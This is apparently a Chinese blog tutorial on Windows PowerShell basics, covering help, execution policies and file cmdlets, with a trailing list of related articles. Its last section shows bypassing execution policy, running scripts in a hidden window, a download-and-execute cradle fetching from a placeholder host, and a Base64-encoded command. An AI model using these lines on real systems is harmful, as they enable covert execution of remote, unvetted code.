什么是PowerShell:

Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能。PowerShell是命令提示符的更高级版本。 它用于执行诸如 ping 或 copy 之类的外部程序,并自动执行无法从 cmd.exe 访问的不同系统管理任务。

PowerShell与cmd的区别:

PowerShell与Bash Shell比较:

如何打开PowerShell:

在Windows下方的搜索处,直接搜索打开

按 win + R 输入PowerShell打开

打开此电脑,点击左上方文件,找到PowerShell打开

在你需要打开的文件路径下,按Shift + 鼠标右键,选择打开PowerShell 可在PowerShell中快速打开文件路径

PowerShell常用命令:

在PowerShell下的命令,均采用 “名词+动词” 的形式

查看帮助:help ,查看版本: get-host , 查看动词: get-verb

PS D:\study> help
主题
Windows PowerShell 帮助系统
简短说明
显示有关 Windows PowerShell 的 cmdlet 及概念的帮助。
详细说明
“Windows PowerShell 帮助”介绍了 Windows PowerShell 的 cmdlet、
函数、脚本及模块,并解释了
Windows PowerShell 语言的元素等概念。
Windows PowerShell 中不包含帮助文件,但你可以联机参阅
帮助主题,或使用 Update-Help cmdlet 将帮助文件下载
到你的计算机中,然后在命令行中使用 Get-Help cmdlet 来显示帮助
主题。
你也可以使用 Update-Help cmdlet 在该网站发布了更新的帮助文件时下载它们,
这样,你的本地帮助内容便永远都不会过时。
如果没有帮助文件,Get-Help 会显示自动生成的有关 cmdlet、
函数及脚本的帮助。 联机帮助
你可以在 TechNet 库中找到有关 Windows PowerShell 的联机帮助,
网址为 http://go.microsoft.com/fwlink/?LinkID=108518。
若要打开有关任一 cmdlet 或函数的联机帮助,请键入:
Get-Help <cmdlet-name> -Online
-- More --
PS D:\study> Get-Host

Name             : ConsoleHost
Version : 5.1.17763.1007
InstanceId : b17b657c-366a-4efa-a95f-a4ba89884117
UI : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture : zh-CN
CurrentUICulture : zh-CN
PrivateData : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled : True
IsRunspacePushed : False
Runspace : System.Management.Automation.Runspaces.LocalRunspace
PS D:\study> Get-Verb

Verb        Group
---- -----
Add Common
Clear Common
Close Common
Copy Common
Enter Common
Exit Common
Find Common
Format Common
Get Common
Hide Common
Join Common
Lock Common
Move Common
New Common
Open Common
Optimize Common
Pop Common
Push Common
Redo Common
Remove Common
Rename Common
Reset Common
Resize Common
Search Common
Select Common
Set Common
Show Common
Skip Common
Split Common
Step Common
Switch Common
Undo Common
Unlock Common
Watch Common
Backup Data
Checkpoint Data
Compare Data
Compress Data
Convert Data
ConvertFrom Data
ConvertTo Data
Dismount Data
Edit Data
Expand Data
Export Data
Group Data
Import Data
Initialize Data
Limit Data
Merge Data
Mount Data
Out Data
Publish Data
Restore Data
Save Data
Sync Data
Unpublish Data
Update Data
Approve Lifecycle
Assert Lifecycle
Complete Lifecycle
Confirm Lifecycle
Deny Lifecycle
Disable Lifecycle
Enable Lifecycle
Install Lifecycle
Invoke Lifecycle
Register Lifecycle
Request Lifecycle
Restart Lifecycle
Resume Lifecycle
Start Lifecycle
Stop Lifecycle
Submit Lifecycle
Suspend Lifecycle
Uninstall Lifecycle
Unregister Lifecycle
Wait Lifecycle
Debug Diagnostic
Measure Diagnostic
Ping Diagnostic
Repair Diagnostic
Resolve Diagnostic
Test Diagnostic
Trace Diagnostic
Connect Communications
Disconnect Communications
Read Communications
Receive Communications
Send Communications
Write Communications
Block Security
Grant Security
Protect Security
Revoke Security
Unblock Security
Unprotect Security
Use Other

设置PowerShell策略

Powershell一般初始化情况下都会禁止脚本执行。脚本能否执行取决于Powershell的执行策略。

默认执行策略为“Restricted”。

  1. 当执行策略为 Restricted 时:

      win8 ,win10 中默认执行 Restricted 的策略。允许单独的命令,但不会运行脚本。阻止所有脚本文件的运行。包括格式设置文件和配置文件 (.ps1xml)、模块脚本文件 (.psm1) 和 Windows PowerShell 配置文件 (.ps1)。
  2. 当执行策略为 AllSigned 时:

      脚本可以运行。要求所有脚本和配置文件都由受信任的发布者签名,包括在本地计算机上编写的脚本。会在运行来自某类发布者(即你尚未归类为受信任或不受信任的发布者)的脚本之前提示你。存在运行已签名但却是恶意的脚本的风险。
  3. 当执行策略为 REMOTESIGNED 时:

      脚本可以运行。要求从 Internet 下载的脚本和配置文件(包括电子邮件和即时消息程序)具有受信任的发布者的数字签名。不要求你在本地计算机上编写的脚本(不是从 Internet 下载的)具有数字签名。如果脚本已被取消阻止(比如通过使用 Unblock-File cmdlet),则运行从 Internet 下载但未签名的脚本。存在运行来自 Internet 之外的未签名脚本和已签名但却是恶意的脚本的风险。
  4. 当执行策略为 UNRESTRICTED 时:

      未签名的脚本可以运行。(这存在运行恶意脚本的风险。)在运行从 Internet 下载的脚本和配置文件之前提醒用户。
  5. 当执行策略为 BYPASS 时:

      不阻止任何内容,并且没有任何警告或提示。该执行策略旨在用于后述配置:在其中 Windows PowerShell 被内置于一个更大的应用程序中,或者在其中 Windows PowerShell 是具有其自己安全模式的程序的基础。
  6. 当执行策略为 UNDEFINED 时:

      当前作用域中未设置执行策略。如果所有作用域中的执行策略都是 Undefined,则有效的执行策略是 Restricted,它是默认执行策略。
PS C:\Users\Riy> [System.Enum]::GetNames([Microsoft.PowerShell.ExecutionPolicy])  # 查看脚本执行策略
Unrestricted
RemoteSigned
AllSigned
Restricted
Default
Bypass
Undefined
PS C:\Users\Riy> Get-ExecutionPolicy # 查看当前脚本执行策略
Restricted
PS C:\Users\Riy> Set-ExecutionPolicy Unrestricted # 更改脚本执行策略,这里报错是因为没有使用管理员权限打开PowerShell
Set-ExecutionPolicy : 对注册表项“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\
Microsoft.PowerShell”的访问被拒绝。 要更改默认(LocalMachine)作用域的执行策略,请使用“以管理
员身份运行”选项启动 Windows PowerShell。要更改当前用户的执行策略,请运行 "Set-ExecutionPolicy
-Scope CurrentUser"。
所在位置 行:1 字符: 1
+ Set-ExecutionPolicy Unrestricted
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (:) [Set-ExecutionPolicy], UnauthorizedAccess
Exception
+ FullyQualifiedErrorId : System.UnauthorizedAccessException,Microsoft.PowerShell.Command
s.SetExecutionPolicyCommand # 使用管理员权限打开PowerShell PS C:\WINDOWS\system32> Set-ExecutionPolicy Undefined 执行策略更改
执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies
帮助主题所述。是否要更改执行策略?
[Y] 是(Y) [A] 全是(A) [N] 否(N) [L] 全否(L) [S] 暂停(S) [?] 帮助 (默认值为“N”): y

文件操作常用命令:

  • 新键目录: New-Item -Name 'test' -ItemType 'directory'
  • 新建文件: New-Item -Name 'test.txt'
  • 删除目录或文件: Remove-Item test.txt
  • 显示文本内容: Get-Content test.txt
  • 设置文本内容: Set-Content test.txt -Value 'Hello World'
  • 追加文本内容: Add-Content test.txt -Value 'Love World'
  • 清除文本内容: Clear-Content test.txt
PS D:\study> New-Item -Name 'test' -ItemType 'directory'  # 新建目录

    目录: D:\study

Mode                LastWriteTime         Length Name
---- ------------- ------ ----
d----- 2020/3/28 0:24 test PS D:\study> New-Item -Name 'test.txt' # 新建文件 目录: D:\study Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2020/3/28 0:24 0 test.txt PS D:\study> Set-Content test.txt -Value 'Hello World' # 设置文本内容
PS D:\study> Get-Content test.txt # 显示文本内容
Hello World
PS D:\study> Add-Content test.txt -Value 'Love World' # 追加文本内容
PS D:\study> Get-Content test.txt
Hello World
Love World
PS D:\study> Clear-Content test.txt # 清除文本内容
PS D:\study> Get-Content test.txt
PS D:\study> Remove-Item test # 删除文件或目录

绕过本地权限执行脚本

PS D:\study> '"Hello World"' > test.ps1
PS D:\study> .\test.ps1
.\test.ps1 : 无法加载文件 D:\study\test.ps1,因为在此系统上禁止运行脚本。有关详细信息,请参阅
https:/go.microsoft.com/fwlink/?LinkID=135170 中的 about_Execution_Policies。
所在位置 行:1 字符: 1
+ .\test.ps1
+ ~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [],PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -File test.ps1
Hello World

绕过本地权限执行脚本,并隐藏执行,只有后台能看到脚本正在运行

powershell.exe  -WindowStyle hidden -ExecutionPolicy Bypass -File test.ps1

PowerShell下载脚本绕过本地权限并执行

c:\Windows\System32>powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -noni IEX (New-Object Net.WebClient).DownloadString('http://xxxx/test.ps1')
Hello World



7、使用Base64对PowerShell命令进行编码

c:\Windows\System32>powershell.exe -EncodedCommand dwBoAG8AYQBtAGkACgA=
laptop-9r39s2hi\riy

(2)Windows PowerShell使用的更多相关文章

  1. 解决VS2015启动时Package manager console崩溃的问题 - Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope

    安装VS2015,启动以后,Package manager console崩溃,错误信息如下: Windows PowerShell updated your execution policy suc ...

  2. 用Windows PowerShell 控制管理 Microsoft Office 365

    如果想要通过PowerShell控制管理Office365,首先要安装Microsoft Online Services Sign-In Assistant 7.0,链接如下 Microsoft On ...

  3. 【SharePoint学习笔记】第2章 SharePoint Windows PowerShell 指南

    快速了解Windows PowerShell     从SharePoint 2010开始支持PowerShell,仍支持stsadm.exe工具:     可以调用.NET对象.COM对象.exe文 ...

  4. Office 365 - SharePoint 2013 Online 中使用Windows PowerShell

    1.如果想要在SharePoint Online中使用Windows PowerShell,首先需要安装SharePoint Online Management Shell(下载地址附后),如下图: ...

  5. SharePoint 2010 最佳实践学习总结------第2章 SharePoint Windows PowerShell指南

    第2章 SharePoint Windows PowerShell指南 SharePoint 2010是SharePoint系列产品中第一个开始支持Windows PowerShell的产品,在以前的 ...

  6. 使用 Windows PowerShell 来管理和开发 windowsazure.cn 账户的特别注意事项

    6月6日,微软面向中国大陆用户开放了Microsoft Azure公众预览版的申请界面.大家可以申请免费的 beta 试用,收到内附邀请码的通知邮件后只需输入激活码即可开始免费试用.具体网址为: ht ...

  7. Windows PowerShell ISE

    Windows PowerShell 集成脚本环境 (ISE) 是 Windows PowerShell 的主机应用程序.在 Windows PowerShell ISE 中,可以在单一 Window ...

  8. 作为平台的Windows PowerShell(二)

    在此系列文章的前一篇,我们看到了怎样使用System.Management.Automation.PowerShell 类来在c#应用程序中运行PowerShell 命令.在那些例子中,我们创建的都是 ...

  9. 作为平台的Windows PowerShell(一)

    除了作为一种脚本语言外,Windows PowerShell被多种应用程序使用.这是因为Windows PowerShell引擎可以被托管在一个应用程序内部.这篇博文和下一篇博文将会处理在C#应用程序 ...

  10. Windows PowerShell:管理服务器

    一.概述 Cmdlets 用于服务器的管理方面主要体现在4个方面:服务.日志.进程.服务器管理器. 1.服务 •  Get-Service.查看某个服务的属性. •  New-Service.创建一个 ...

随机推荐

  1. JAVA SE Lesson 1

    1.  类是一种抽象的概念,对象是类的一种具体表示形式,是具体的概念.先有类,然后由类来生成对象(Object).对象又叫做实例(Instance).2.  类由两大部分构成:属性以及方法.属性一般用 ...

  2. javascript学习内容

    http协议 犀牛书 MDN js单线程 let只在代码块内有效 es5只有全局作用域 const变量指向的内存地址不得改动,值不能保证不变 全局变量不加var node.js 更改连接到服务器的方式 ...

  3. Mysql简单总结

    基于Mac OS X系统 MySQL的安装和配置 首先进入 MySQL 官网,选择免费的Community版:MySQL Community Server.MySQL 官网提供了tar.gz和dmg两 ...

  4. BTCU(高校区块链联盟)-联盟链第6讲作业

    // payment project main.go package main import ( "fmt" "strconv" "github.co ...

  5. ES常见问题整理

    1.集群状态red.yellow处理方法 1.red表示主分片数据不完整,通常时由于某个索引的主分片为分片unassigned,找出这个分片未分配的原因,解决即可: curl -XGET http:/ ...

  6. Stock Starer股票盯盘

    一个业余小项目,用于监控指定股票的成交指标,触发事件的主动通知 源码 !https://github.com/jeffchen81/stock-starer 设计说明 场景 定时任务1:通过网上Ope ...

  7. C++扬帆远航——12(抓小偷)

    /* * Copyright (c) 2016,烟台大学计算机与控制工程学院 * All rights reserved. * 文件名:zhaoxiaotou.cpp * 作者:常轩 * 微信公众号: ...

  8. 将mysql数据库集成到idea中

    将mysql数据库集成到idea中

  9. iMX287A嵌入式Qt环境搭建

    目录 1.嵌入式Qt简介 2.查看开发板Qt库的版本 3.第一个嵌入式Qt程序--Hello World 4.Linux桌面版本Qt环境的搭建 5.注意 @ 1.嵌入式Qt简介 Qt 是一个跨平台的应 ...

  10. python数据分析工具 | pandas

    pandas是python下强大的数据分析和探索工具,是的python在处理数据时非常快速.简单.它是构建在numpy之上的,包含丰富的数据处理函数,支持时间序列分析功能,支持灵活处理缺失数据. pa ...